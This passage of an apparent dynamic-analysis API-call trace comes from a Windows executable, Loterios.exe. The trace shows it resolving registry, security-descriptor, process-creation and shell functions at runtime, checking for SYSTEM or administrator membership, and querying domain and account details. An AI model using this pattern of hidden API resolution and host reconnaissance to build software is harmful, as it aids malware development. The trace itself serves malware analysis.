lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.370] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1b) returned 0x261f6b0 [0236.370] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedCompareExchange") returned 0x745773a0 [0236.370] lstrlenA (lpString="InterlockedCompareExchange") returned 26 [0236.370] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.370] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6b0 [0236.370] GetProcAddress (hModule=0x74560000, lpProcName="GetThreadContext") returned 0x74575580 [0236.370] lstrlenA (lpString="GetThreadContext") returned 16 [0236.370] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.370] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f6b0 [0236.370] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x777e0000 [0236.370] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x19) returned 0x261f6c8 [0236.370] GetProcAddress (hModule=0x777e0000, lpProcName="ZwQueryInformationThread") returned 0x77851f60 [0236.370] lstrlenA (lpString="ZwQueryInformationThread") returned 24 [0236.370] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6c8 | out: hHeap=0x25a0000) returned 1 [0236.370] lstrlenA (lpString="ntdll.dll") returned 9 [0236.370] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.370] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.371] GetProcAddress (hModule=0x777e0000, lpProcName="RtlGetVersion") returned 0x7780fff0 [0236.371] lstrlenA (lpString="RtlGetVersion") returned 13 [0236.371] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.371] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.371] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77230000 [0236.371] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x16) returned 0x261f6c8 [0236.371] GetProcAddress (hModule=0x77230000, lpProcName="AdjustTokenPrivileges") returned 0x7724ffa0 [0236.371] lstrlenA (lpString="AdjustTokenPrivileges") returned 21 [0236.371] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6c8 | out: hHeap=0x25a0000) returned 1 [0236.371] lstrlenA (lpString="advapi32.dll") returned 12 [0236.371] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.371] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.371] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExA") returned 0x7724f210 [0236.371] lstrlenA (lpString="RegOpenKeyExA") returned 13 [0236.371] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.371] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261f6b0 [0236.371] GetProcAddress (hModule=0x77230000, lpProcName="RegCreateKeyExA") returned 0x7724f560 [0236.371] lstrlenA (lpString="RegCreateKeyExA") returned 15 [0236.371] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.371] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6b0 [0236.372] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyA") returned 0x7724fe20 [0236.372] lstrlenA (lpString="RegQueryInfoKeyA") returned 16 [0236.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.372] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueA") returned 0x77251940 [0236.372] lstrlenA (lpString="RegEnumValueA") returned 13 [0236.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.372] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumKeyExA") returned 0x77251960 [0236.372] lstrlenA (lpString="RegEnumKeyExA") returned 13 [0236.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.372] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExA") returned 0x7724ffc0 [0236.372] lstrlenA (lpString="RegSetValueExA") returned 14 [0236.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6b0 [0236.372] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExA") returned 0x7724f020 [0236.372] lstrlenA (lpString="RegQueryValueExA") returned 16 [0236.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6b0 [0236.373] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0236.373] lstrlenA (lpString="RegCloseKey") returned 11 [0236.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261f6b0 [0236.373] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueA") returned 0x772507a0 [0236.373] lstrlenA (lpString="RegDeleteValueA") returned 15 [0236.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x19) returned 0x261f6b0 [0236.373] GetProcAddress (hModule=0x77230000, lpProcName="AllocateAndInitializeSid") returned 0x7724f440 [0236.373] lstrlenA (lpString="AllocateAndInitializeSid") returned 24 [0236.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6b0 [0236.373] GetProcAddress (hModule=0x77230000, lpProcName="SetEntriesInAclA") returned 0x772536e0 [0236.373] lstrlenA (lpString="SetEntriesInAclA") returned 16 [0236.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x16) returned 0x261f6b0 [0236.373] GetProcAddress (hModule=0x77230000, lpProcName="SetNamedSecurityInfoA") returned 0x772534a0 [0236.374] lstrlenA (lpString="SetNamedSecurityInfoA") returned 21 [0236.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6b0 [0236.374] GetProcAddress (hModule=0x77230000, lpProcName="SetFileSecurityW") returned 0x77250920 [0236.374] lstrlenA (lpString="SetFileSecurityW") returned 16 [0236.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f6b0 [0236.374] GetProcAddress (hModule=0x77230000, lpProcName="FreeSid") returned 0x7724fa80 [0236.374] lstrlenA (lpString="FreeSid") returned 7 [0236.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f6b0 [0236.374] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidA") returned 0x772750b0 [0236.374] lstrlenA (lpString="LookupAccountSidA") returned 17 [0236.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f6b0 [0236.374] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0236.374] lstrlenA (lpString="LookupAccountSidW") returned 17 [0236.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f6b0 [0236.375] GetProcAddress (hModule=0x77230000, lpProcName="CreateProcessAsUserW") returned 0x77250690 [0236.375] lstrlenA (lpString="CreateProcessAsUserW") returned 20 [0236.375] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.375] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6b0 [0236.375] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74720000 [0236.375] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6c8 [0236.375] GetProcAddress (hModule=0x74720000, lpProcName="ShellExecuteW") returned 0x748842e0 [0236.375] lstrlenA (lpString="ShellExecuteW") returned 13 [0236.375] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6c8 | out: hHeap=0x25a0000) returned 1 [0236.375] lstrlenA (lpString="shell32.dll") returned 11 [0236.375] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.375] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261f6b0 [0236.375] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0236.375] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6c8 [0236.375] GetProcAddress (hModule=0x76850000, lpProcName="EnumWindows") returned 0x7686a3c0 [0236.375] lstrlenA (lpString="EnumWindows") returned 11 [0236.375] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6c8 | out: hHeap=0x25a0000) returned 1 [0236.375] lstrlenA (lpString="user32.dll") returned 10 [0236.375] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.375] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6b0 [0236.375] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76bd0000 [0236.376] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f6c8 [0236.376] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIA") returned 0x76be8370 [0236.376] lstrlenA (lpString="StrStrIA") returned 8 [0236.376] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6c8 | out: hHeap=0x25a0000) returned 1 [0236.376] lstrlenA (lpString="shlwapi.dll") returned 11 [0236.376] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.376] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f6b0 [0236.376] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0236.376] lstrlenA (lpString="StrStrIW") returned 8 [0236.376] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.376] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f6b0 [0236.376] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpIW") returned 0x76be1660 [0236.376] lstrlenA (lpString="StrCmpIW") returned 8 [0236.376] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.376] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.376] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineA") returned 0x76bebf40 [0236.376] lstrlenA (lpString="PathCombineA") returned 12 [0236.376] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.376] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.376] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineW") returned 0x76be8890 [0236.376] lstrlenA (lpString="PathCombineW") returned 12 [0236.377] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.377] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.377] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecA") returned 0x76bec2a0 [0236.377] lstrlenA (lpString="PathMatchSpecA") returned 14 [0236.377] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.377] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.377] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecW") returned 0x76bec300 [0236.377] lstrlenA (lpString="PathMatchSpecW") returned 14 [0236.377] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.377] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f6b0 [0236.377] GetProcAddress (hModule=0x76bd0000, lpProcName="PathUnquoteSpacesW") returned 0x76be4a50 [0236.377] lstrlenA (lpString="PathUnquoteSpacesW") returned 18 [0236.377] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.377] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f6b0 [0236.377] GetProcAddress (hModule=0x76bd0000, lpProcName="StrTrimW") returned 0x76be7300 [0236.377] lstrlenA (lpString="StrTrimW") returned 8 [0236.377] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.377] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f6b0 [0236.377] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNIA") returned 0x76beca70 [0236.377] lstrlenA (lpString="StrCmpNIA") returned 9 [0236.377] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.377] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f6b0 [0236.378] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrW") returned 0x76be7850 [0236.378] lstrlenA (lpString="StrStrW") returned 7 [0236.378] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.378] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.378] LoadLibraryA (lpLibFileName="setupapi.dll") returned 0x76430000 [0236.381] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x16) returned 0x261f6c8 [0236.381] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiEnumDeviceInfo") returned 0x76448a60 [0236.381] lstrlenA (lpString="SetupDiEnumDeviceInfo") returned 21 [0236.381] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6c8 | out: hHeap=0x25a0000) returned 1 [0236.381] lstrlenA (lpString="setupapi.dll") returned 12 [0236.381] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.381] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1d) returned 0x261f6b0 [0236.381] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x76448640 [0236.381] lstrlenA (lpString="SetupDiDestroyDeviceInfoList") returned 28 [0236.381] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.381] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f6b0 [0236.381] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetClassDevsA") returned 0x76458af0 [0236.382] lstrlenA (lpString="SetupDiGetClassDevsA") returned 20 [0236.382] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.382] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x22) returned 0x261f6b0 [0236.382] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x764580f0 [0236.382] lstrlenA (lpString="SetupDiGetDeviceRegistryPropertyA") returned 33 [0236.382] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.382] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.382] GetCurrentProcessId () returned 0x13e8 [0236.382] GetTickCount () returned 0x117bab7 [0236.382] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x412140, nSize=0x105 | out: lpFilename="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe")) returned 0x18 [0236.382] GetCurrentProcess () returned 0xffffffff [0236.382] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f304 | out: TokenHandle=0x19f304*=0x214) returned 1 [0236.382] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2e4 | out: TokenInformation=0x0, ReturnLength=0x19f2e4) returned 0 [0236.382] GetLastError () returned 0x7a [0236.382] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x24) returned 0x261f6b0 [0236.382] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x1, TokenInformation=0x261f6b0, TokenInformationLength=0x24, ReturnLength=0x19f300 | out: TokenInformation=0x261f6b0, ReturnLength=0x19f300) returned 1 [0236.383] CloseHandle (hObject=0x214) returned 1 [0236.383] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f2f8, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f300 | out: pSid=0x19f300*=0x60aaf0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0236.383] EqualSid (pSid1=0x261f6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x60aaf0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0 [0236.383] GetCurrentThread () returned 0xfffffffe [0236.383] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x19f2dc | out: TokenHandle=0x19f2dc*=0x0) returned 0 [0236.383] GetLastError () returned 0x3f0 [0236.383] GetCurrentProcess () returned 0xffffffff [0236.383] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f2dc | out: TokenHandle=0x19f2dc*=0x214) returned 1 [0236.383] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2cc | out: TokenInformation=0x0, ReturnLength=0x19f2cc) returned 0 [0236.383] GetLastError () returned 0x7a [0236.383] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x140) returned 0x261f6e0 [0236.383] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x2, TokenInformation=0x261f6e0, TokenInformationLength=0x140, ReturnLength=0x19f2f4 | out: TokenInformation=0x261f6e0, ReturnLength=0x19f2f4) returned 1 [0236.383] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f2ec, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f300 | out: pSid=0x19f300*=0x60ab20*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0236.383] EqualSid (pSid1=0x261f754*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x60ab20*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0236.383] EqualSid (pSid1=0x261f770*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), pSid2=0x60ab20*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0236.383] EqualSid (pSid1=0x261f77c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x72), pSid2=0x60ab20*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0236.383] EqualSid (pSid1=0x261f788*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x60ab20*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0236.383] CloseHandle (hObject=0x214) returned 1 [0236.383] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6e0 | out: hHeap=0x25a0000) returned 1 [0236.383] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6e0 [0236.383] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6f8 [0236.383] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0236.383] lstrlenA (lpString="kernel32.dll") returned 12 [0236.384] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6e0 | out: hHeap=0x25a0000) returned 1 [0236.384] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0236.384] lstrlenA (lpString="GetProcAddress") returned 14 [0236.384] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6f8 | out: hHeap=0x25a0000) returned 1 [0236.384] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6e0 [0236.384] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x74060000 [0236.387] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6f8 [0236.387] GetProcAddress (hModule=0x74060000, lpProcName="NetApiBufferFree") returned 0x740517c0 [0236.389] lstrlenA (lpString="NetApiBufferFree") returned 16 [0236.389] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6f8 | out: hHeap=0x25a0000) returned 1 [0236.389] lstrlenA (lpString="netapi32.dll") returned 12 [0236.389] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6e0 | out: hHeap=0x25a0000) returned 1 [0236.389] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6e0 [0236.390] GetProcAddress (hModule=0x74060000, lpProcName="NetUserEnum") returned 0x74033970 [0236.392] lstrlenA (lpString="NetUserEnum") returned 11 [0236.392] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6e0 | out: hHeap=0x25a0000) returned 1 [0236.392] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6e0 [0236.392] GetProcAddress (hModule=0x74060000, lpProcName="NetGetDCName") returned 0x7401db20 [0236.395] lstrlenA (lpString="NetGetDCName") returned 12 [0236.395] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6e0 | out: hHeap=0x25a0000) returned 1 [0236.395] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x16) returned 0x261f6e0 [0236.395] GetProcAddress (hModule=0x74060000, lpProcName="NetGetJoinInformation") returned 0x73ff3060 [0236.449] lstrlenA (lpString="NetGetJoinInformation") returned 21 [0236.449] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6e0 | out: hHeap=0x25a0000) returned 1 [0236.449] NetGetDCName (in: servername=0x0, domainname=0x0, bufptr=0x19ff3c | out: bufptr=0x19ff3c) returned 0x995 [0236.455] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0x19ff3c, BufferType=0x19ff34 | out: lpNameBuffer=0x19ff3c*="WORKGROUP", BufferType=0x19ff34) returned 0x0 [0236.460] lstrlenW (lpString="WORKGROUP") returned 9 [0236.460] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x261f6e0 [0236.460] NetApiBufferFree (Buffer=0x632d98) returned 0x0 [0236.460] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x261f6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), Name=0x4109e8, cchName=0x19ff38, ReferencedDomainName=0x19fcec, cchReferencedDomainName=0x19ff48, peUse=0x19ff30 | out: Name="FD1HVy", cchName=0x19ff38, ReferencedDomainName="NQDPDE", cchReferencedDomainName=0x19ff48, peUse=0x19ff30) returned 1 [0236.463] GetSystemMetrics (nIndex=4096) returned 0 [0236.468] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x410af8, nSize=0x20a | out: lpFilename="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe")) returned 0x18 [0236.468] lstrcpynW (in: lpString1=0x4109a4, lpString2="Loterios.exe", iMaxLength=64 | out: lpString1="Loterios.exe") returned="Loterios.exe" [0236.468] lstrlenW (lpString="Loterios.exe") returned 12 [0236.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Loterios", cchWideChar=-1, lpMultiByteStr=0x410984, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Loterios", lpUsedDefaultChar=0x0) returned 